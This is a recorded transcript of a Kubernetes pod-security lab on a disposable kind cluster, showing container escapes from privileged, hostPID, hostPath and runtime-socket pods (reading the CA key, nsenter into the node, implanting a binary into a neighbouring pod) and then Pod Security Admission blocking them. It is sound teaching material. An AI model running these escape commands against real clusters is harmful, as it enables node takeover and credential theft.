# Transcript for 05-security/02-pod-security.md. # Tier A: kind on a Linux host, node v1.37.0. # Recorded by running labs/05-02.sh against a kind cluster the lab owns. # The output is not redacted: the node is the lab cluster's own, sf-pilot-control-plane. ## versions and the node $ kubectl version Client Version: v1.37.2 Kustomize Version: v5.8.1 Server Version: v1.37.0 $ kubectl get nodes -o custom-columns=NAME:.metadata.name,KUBELET:.status.nodeInfo.kubeletVersion,KERNEL:.status.nodeInfo.kernelVersion,RUNTIME:.status.nodeInfo.containerRuntimeVersion,OS:.status.nodeInfo.osImage NAME KUBELET KERNEL RUNTIME OS sf-pilot-control-plane v1.37.0 7.0.0-38-generic containerd://2.3.4 Debian GNU/Linux 13 (trixie) ## namespaces $ kubectl create namespace p05-02-attack namespace/p05-02-attack created $ kubectl label namespace p05-02-attack pod-security.kubernetes.io/enforce=privileged namespace/p05-02-attack labeled $ kubectl create namespace p05-02-baseline namespace/p05-02-baseline created $ kubectl label namespace p05-02-baseline pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/enforce-version=latest pod-security.kubernetes.io/warn=restricted pod-security.kubernetes.io/warn-version=latest namespace/p05-02-baseline labeled $ kubectl create namespace p05-02-restricted namespace/p05-02-restricted created $ kubectl label namespace p05-02-restricted pod-security.kubernetes.io/enforce=restricted pod-security.kubernetes.io/enforce-version=latest pod-security.kubernetes.io/audit=restricted pod-security.kubernetes.io/audit-version=latest pod-security.kubernetes.io/warn=restricted pod-security.kubernetes.io/warn-version=latest namespace/p05-02-restricted labeled $ kubectl create namespace p05-02-bookstore namespace/p05-02-bookstore created $ kubectl label namespace p05-02-bookstore pod-security.kubernetes.io/enforce=restricted pod-security.kubernetes.io/enforce-version=latest pod-security.kubernetes.io/audit=restricted pod-security.kubernetes.io/audit-version=latest pod-security.kubernetes.io/warn=restricted pod-security.kubernetes.io/warn-version=latest namespace/p05-02-bookstore labeled $ kubectl create namespace p05-02-unlabelled namespace/p05-02-unlabelled created $ for ns in p05-02-attack p05-02-baseline p05-02-restricted p05-02-bookstore p05-02-unlabelled; do for i in $(seq 60); do kubectl -n $ns get serviceaccount default >/dev/null 2>&1 && break; sleep 1; done; echo "default serviceaccount in $ns"; done default serviceaccount in p05-02-attack default serviceaccount in p05-02-baseline default serviceaccount in p05-02-restricted default serviceaccount in p05-02-bookstore default serviceaccount in p05-02-unlabelled ## audit: the API server's command line $ kubectl -n kube-system get pod -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' | tr ',' '\n' | grep -c audit 0 ## a default Pod, and privileged without a host namespace $ kubectl apply -f victim.yaml pod/victim created $ kubectl wait --for=condition=Ready pod/victim -n p05-02-attack --timeout=120s pod/victim condition met $ kubectl apply -f escape-privileged.yaml pod/escape-privileged created $ kubectl wait --for=condition=Ready pod/escape-privileged -n p05-02-attack --timeout=120s pod/escape-privileged condition met $ kubectl exec -n p05-02-attack escape-privileged -- awk '/^Cap(Eff|Bnd)/ {print $1, $2}' /proc/self/status CapEff: 000001ffffffffff CapBnd: 000001ffffffffff $ kubectl exec -n p05-02-attack escape-privileged -- sh -c 'ps -o pid,args | head -5' PID COMMAND 1 sleep 3600 20 sh -c ps -o pid,args | head -5 27 ps -o pid,args 28 head -5 $ kubectl exec -n p05-02-attack escape-privileged -- sh -c 'echo devices in privileged: $(ls /dev | wc -l)' devices in privileged: 229 $ kubectl exec -n p05-02-attack victim -- sh -c 'echo devices in default: $(ls /dev | wc -l)' devices in default: 16 ## hostPID without privilege $ kubectl apply -f escape-hostpid.yaml pod/escape-hostpid created $ kubectl wait --for=condition=Ready pod/escape-hostpid -n p05-02-attack --timeout=120s pod/escape-hostpid condition met $ kubectl exec -n p05-02-attack escape-hostpid -- sh -c 'ps -o pid,comm' | grep -E '^ *[0-9]+ (kubelet|containerd)$' | sed 's/^ *//' 137 containerd 748 kubelet $ kubectl exec -n p05-02-attack escape-hostpid -- sh -c ' K=$(pidof kubelet) kill -0 "$K" && echo "kill -0 kubelet: allowed" tr "\0" " " < "/proc/$K/cmdline" | cut -c1-40' kill -0 kubelet: allowed /usr/bin/kubelet --bootstrap-kubeconfig= $ kubectl exec -n p05-02-attack escape-hostpid -- nsenter -t 1 -m -- cat /etc/hostname nsenter: can't open '/proc/1/ns/mnt': Permission denied command terminated with exit code 1 ## hostPath: the node root, and a read of the CA key $ kubectl apply -f escape-hostpath.yaml pod/escape-hostpath created $ kubectl wait --for=condition=Ready pod/escape-hostpath -n p05-02-attack --timeout=120s pod/escape-hostpath condition met $ kubectl exec -n p05-02-attack escape-hostpath -- sh -c ' id -u grep ^CapEff /proc/self/status | tr -s "\t" " " cat /host/etc/hostname stat -c "%a %U %n" /host/etc/kubernetes/pki/ca.key head -c 10 /host/etc/kubernetes/pki/ca.key; echo' 0 CapEff: 0000000000000000 sf-pilot-control-plane 600 root /host/etc/kubernetes/pki/ca.key -----BEGIN $ kubectl apply -f escape-hostpath-nonroot.yaml pod/escape-hostpath-nonroot created $ kubectl wait --for=condition=Ready pod/escape-hostpath-nonroot -n p05-02-attack --timeout=120s pod/escape-hostpath-nonroot condition met $ kubectl exec -n p05-02-attack escape-hostpath-nonroot -- sh -c ' id -u grep ^CapEff /proc/self/status | tr -s "\t" " " cat /host/etc/hostname stat -c "%a %U %n" /host/etc/kubernetes/pki/ca.key head -c 10 /host/etc/kubernetes/pki/ca.key; echo' 65532 CapEff: 0000000000000000 sf-pilot-control-plane 600 root /host/etc/kubernetes/pki/ca.key head: /host/etc/kubernetes/pki/ca.key: Permission denied ## runtime socket $ kubectl apply -f escape-socket.yaml pod/escape-socket created $ kubectl wait --for=condition=Ready pod/escape-socket -n p05-02-attack --timeout=120s pod/escape-socket condition met $ kubectl exec -n p05-02-attack escape-socket -- sh -c ' R=unix:///run/containerd/containerd.sock echo "containers visible: $(crictl -r $R ps -q 2>/dev/null | wc -l)" crictl -r $R ps --name kube-apiserver -o table 2>/dev/null | grep -o "kube-apiserver-[a-z0-9-]*"' containers visible: 24 kube-apiserver-sf-pilot-control-plane ## privileged with hostPID: the node's namespaces, and a write into a neighbour $ kubectl apply -f escape-node.yaml pod/escape-node created $ kubectl wait --for=condition=Ready pod/escape-node -n p05-02-attack --timeout=120s pod/escape-node condition met $ kubectl exec -n p05-02-attack escape-node -- nsenter -t 1 -m -- cat /etc/hostname sf-pilot-control-plane $ kubectl exec -n p05-02-attack escape-node -- nsenter -t 1 -m -- ls -l /etc/kubernetes/super-admin.conf -rw------- 1 root root 5666 Oct 30 14:28 /etc/kubernetes/super-admin.conf $ kubectl exec -n p05-02-attack escape-node -- nsenter -t 1 -m -- runc --version | head -1 runc version 1.4.3 $ kubectl exec -n p05-02-attack escape-node -- sh -c ' VPID=$(ps -o pid,args | awk "\$2==\"sleep\" && \$3==\"1800\" {print \$1}") set -- $VPID [ $# = 1 ] || { echo "victim not unique: $VPID"; exit 1; } echo "victim pid $VPID" cp /bin/busybox /proc/$VPID/root/tmp/busybox && echo "copied to /tmp/busybox"' victim pid 867048 copied to /tmp/busybox $ kubectl exec -n p05-02-attack victim -- /tmp/busybox id uid=0(root) gid=0(root) groups=0(root),10(wheel) ## the same attacks under restricted $ sed 's/namespace: p05-02-attack/namespace: p05-02-restricted/' escape-privileged.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-privileged" is forbidden: violates PodSecurity "restricted:latest": privileged (container "esc" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "esc" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "esc" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "esc" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "esc" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") $ sed 's/namespace: p05-02-attack/namespace: p05-02-restricted/' escape-hostpid.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-hostpid" is forbidden: violates PodSecurity "restricted:latest": host namespaces (hostPID=true), allowPrivilegeEscalation != false (container "esc" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "esc" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "esc" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "esc" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") $ sed 's/namespace: p05-02-attack/namespace: p05-02-restricted/' escape-hostpath.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-hostpath" is forbidden: violates PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "esc" must set securityContext.allowPrivilegeEscalation=false), restricted volume types (volume "nodefs" uses restricted volume type "hostPath"), runAsNonRoot != true (pod or container "esc" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "esc" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") $ sed 's/namespace: p05-02-attack/namespace: p05-02-restricted/' escape-socket.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-socket" is forbidden: violates PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "esc" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "esc" must set securityContext.capabilities.drop=["ALL"]), restricted volume types (volumes "containerd", "crictl" use restricted volume type "hostPath"), runAsNonRoot != true (pod or container "esc" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "esc" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") $ sed 's/namespace: p05-02-attack/namespace: p05-02-restricted/' escape-node.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-node" is forbidden: violates PodSecurity "restricted:latest": host namespaces (hostPID=true), privileged (container "esc" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "esc" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "esc" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "esc" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "esc" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") ## the hardened victim in restricted, and the same neighbour $ kubectl delete pod victim -n p05-02-attack --wait=true pod "victim" deleted from p05-02-attack namespace $ kubectl apply -f victim-hardened.yaml serviceaccount/victim-sa created pod/victim created $ kubectl wait --for=condition=Ready pod/victim -n p05-02-restricted --timeout=120s pod/victim condition met $ kubectl exec -n p05-02-restricted victim -- sh -c 'cp /bin/busybox /usr/bin/implant' cp: can't create '/usr/bin/implant': Read-only file system command terminated with exit code 1 $ kubectl exec -n p05-02-restricted victim -- sh -c 'cp /bin/busybox /tmp/busybox && /tmp/busybox id' uid=65532 gid=65532 groups=65532 $ kubectl exec -n p05-02-restricted victim -- awk '/^(CapEff|NoNewPrivs|Seccomp):/ {print $1, $2}' /proc/self/status CapEff: 0000000000000000 NoNewPrivs: 1 Seccomp: 2 $ kubectl exec -n p05-02-attack escape-node -- sh -c ' VPID=$(ps -o pid,args | awk "\$2==\"sleep\" && \$3==\"1800\" {print \$1}") set -- $VPID [ $# = 1 ] || { echo "victim not unique: $VPID"; exit 1; } echo "victim pid $VPID" cp /bin/busybox /proc/$VPID/root/usr/bin/implant && echo "copied to /usr/bin/implant"' victim pid 868993 cp: can't create '/proc/868993/root/usr/bin/implant': Read-only file system command terminated with exit code 1 $ kubectl exec -n p05-02-attack escape-node -- sh -c ' VPID=$(ps -o pid,args | awk "\$2==\"sleep\" && \$3==\"1800\" {print \$1}") set -- $VPID [ $# = 1 ] || { echo "victim not unique: $VPID"; exit 1; } echo "victim pid $VPID" cp /bin/busybox /proc/$VPID/root/tmp/id && echo "copied to /tmp/id"' victim pid 868993 copied to /tmp/id $ kubectl exec -n p05-02-restricted victim -- /tmp/id uid=65532 gid=65532 groups=65532 ## user namespaces $ kubectl exec -n p05-02-restricted victim -- cat /proc/self/uid_map | awk '{$1=$1;print}' 0 0 4294967295 $ kubectl apply -f userns-probe.yaml pod/userns-probe created $ kubectl wait --for=condition=Ready pod/userns-probe -n p05-02-restricted --timeout=60s error: timed out waiting for the condition on pods/userns-probe $ kubectl get events -n p05-02-restricted --field-selector involvedObject.name=userns-probe --sort-by=.lastTimestamp | tail -2 28s Warning FailedCreatePodSandBox pod/userns-probe Failed to create pod sandbox: rpc error: code = Unknown desc = failed to start sandbox "1ec1897fb7dc4140f53d3ffcb0cdea23664aebaab3a724216daf19deaf3127d0": failed to create containerd task: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: error mounting "sysfs" to rootfs at "/sys": mount src=sysfs, dst=/sys, dstFd=/proc/thread-self/fd/11, flags=MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC: operation not permitted 12s Warning FailedCreatePodSandBox pod/userns-probe Failed to create pod sandbox: rpc error: code = Unknown desc = failed to start sandbox "500d252cb2bab574b62239661fff8c05c21b2e837a8b12f7d54c0dff5aae8c50": failed to create containerd task: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: error mounting "sysfs" to rootfs at "/sys": mount src=sysfs, dst=/sys, dstFd=/proc/thread-self/fd/11, flags=MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC: operation not permitted ## baseline and restricted, one namespace each $ kubectl apply -f victim-baseline.yaml Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "app" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "app" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "app" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "app" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") pod/victim created $ kubectl wait --for=condition=Ready pod/victim -n p05-02-baseline --timeout=120s pod/victim condition met $ sed 's/namespace: p05-02-attack/namespace: p05-02-baseline/' escape-hostpid.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-hostpid" is forbidden: violates PodSecurity "baseline:latest": host namespaces (hostPID=true) $ sed 's/namespace: p05-02-attack/namespace: p05-02-baseline/' escape-hostpath.yaml | kubectl apply --dry-run=server -f - Error from server (Forbidden): error when creating "STDIN": pods "escape-hostpath" is forbidden: violates PodSecurity "baseline:latest": hostPath volumes (volume "nodefs") ## the Bookstore under restricted $ kubectl create deployment unhardened --image=busybox@sha256:73aaf090f3d85aa34ee199857f03fa3a95c8ede2ffd4cc2cdb5b94e566b11662 --dry-run=server -n p05-02-bookstore -- sleep 3600 Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "busybox" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "busybox" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "busybox" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "busybox" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") deployment.apps/unhardened created (server dry run) $ kubectl create deployment unhardened --image=busybox@sha256:73aaf090f3d85aa34ee199857f03fa3a95c8ede2ffd4cc2cdb5b94e566b11662 --dry-run=server -n p05-02-unlabelled -- sleep 3600 deployment.apps/unhardened created (server dry run) $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/05-serviceaccounts-rbac.yaml | kubectl apply -f - serviceaccount/catalog-sa created serviceaccount/storefront-sa created serviceaccount/orders-sa created serviceaccount/payments-worker-sa created serviceaccount/postgres-sa created serviceaccount/redis-sa created serviceaccount/rabbitmq-sa created serviceaccount/migrate-sa created role.rbac.authorization.k8s.io/catalog-config-reader created rolebinding.rbac.authorization.k8s.io/catalog-config-reader-binding created $ for f in $(grep -lE '^kind: (Pod|Deployment|StatefulSet|DaemonSet|Job|CronJob)( |$)' examples/bookstore/raw-manifests/*.yaml); do sed 's/namespace: bookstore/namespace: p05-02-bookstore/' "$f" | kubectl apply -n p05-02-bookstore --dry-run=server -f - done pod/catalog created (server dry run) pod/catalog created (server dry run) deployment.apps/catalog created (server dry run) deployment.apps/storefront created (server dry run) deployment.apps/redis created (server dry run) deployment.apps/rabbitmq created (server dry run) deployment.apps/orders created (server dry run) deployment.apps/payments-worker created (server dry run) service/postgres created (server dry run) statefulset.apps/postgres created (server dry run) job.batch/db-migrate created (server dry run) cronjob.batch/cleanup created (server dry run) service/catalog created (server dry run) deployment.apps/catalog-stable created (server dry run) deployment.apps/catalog-canary created (server dry run) $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/16-db-credentials.yaml | kubectl apply -f - secret/db-credentials created $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/35-priorityclasses.yaml | kubectl apply -f - priorityclass.scheduling.k8s.io/bookstore-data configured priorityclass.scheduling.k8s.io/bookstore-critical configured priorityclass.scheduling.k8s.io/bookstore-batch configured $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/12-redis.yaml | kubectl apply -f - deployment.apps/redis created $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/13-rabbitmq.yaml | kubectl apply -f - deployment.apps/rabbitmq created $ sed 's/namespace: bookstore/namespace: p05-02-bookstore/' examples/bookstore/raw-manifests/20-postgres-statefulset.yaml | kubectl apply -f - service/postgres created statefulset.apps/postgres created $ kubectl rollout status -n p05-02-bookstore deployment/redis --timeout=180s Waiting for deployment "redis" rollout to finish: 0 of 1 updated replicas are available... deployment "redis" successfully rolled out $ kubectl rollout status -n p05-02-bookstore deployment/rabbitmq --timeout=300s Waiting for deployment "rabbitmq" rollout to finish: 0 of 1 updated replicas are available... deployment "rabbitmq" successfully rolled out $ kubectl get pods -n p05-02-bookstore -l app=rabbitmq -o custom-columns=NAME:.metadata.name,READY:.status.containerStatuses[0].ready,RESTARTS:.status.containerStatuses[0].restartCount NAME READY RESTARTS rabbitmq-64d9d7659b-r4q2c true 0 $ kubectl logs -n p05-02-bookstore deployment/rabbitmq | grep -o -e 'Time to start RabbitMQ: [0-9]* ms' -e 'Server startup complete; [0-9]* plugins started' Server startup complete; 5 plugins started Time to start RabbitMQ: 47061 ms $ kubectl rollout status -n p05-02-bookstore statefulset/postgres --timeout=180s partitioned roll out complete: 1 new pods have been updated... $ kubectl exec -n p05-02-bookstore deployment/redis -- sh -c 'id; touch /usr/bin/backdoor || true' uid=999(redis) gid=999(redis) groups=999(redis) touch: cannot touch '/usr/bin/backdoor': Read-only file system $ kubectl exec -n p05-02-bookstore deployment/rabbitmq -- sh -c 'id; touch /usr/bin/backdoor || true' uid=999(rabbitmq) gid=999(rabbitmq) groups=999(rabbitmq) touch: cannot touch '/usr/bin/backdoor': Read-only file system $ kubectl exec -n p05-02-bookstore statefulset/postgres -- sh -c 'id; touch /usr/bin/backdoor || true' uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) touch: cannot touch '/usr/bin/backdoor': Read-only file system ## cleanup $ kubectl delete namespace p05-02-attack p05-02-baseline p05-02-restricted p05-02-bookstore p05-02-unlabelled --wait=true --timeout=300s namespace "p05-02-attack" deleted namespace "p05-02-baseline" deleted namespace "p05-02-restricted" deleted namespace "p05-02-bookstore" deleted namespace "p05-02-unlabelled" deleted